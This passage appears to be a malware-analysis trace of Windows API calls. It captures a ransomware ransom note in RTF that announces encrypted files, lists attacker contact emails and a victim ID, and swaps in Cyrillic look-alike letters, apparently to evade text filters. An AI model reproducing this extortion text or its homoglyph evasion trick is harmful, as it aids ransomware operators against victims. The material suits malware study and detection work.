T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.522] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 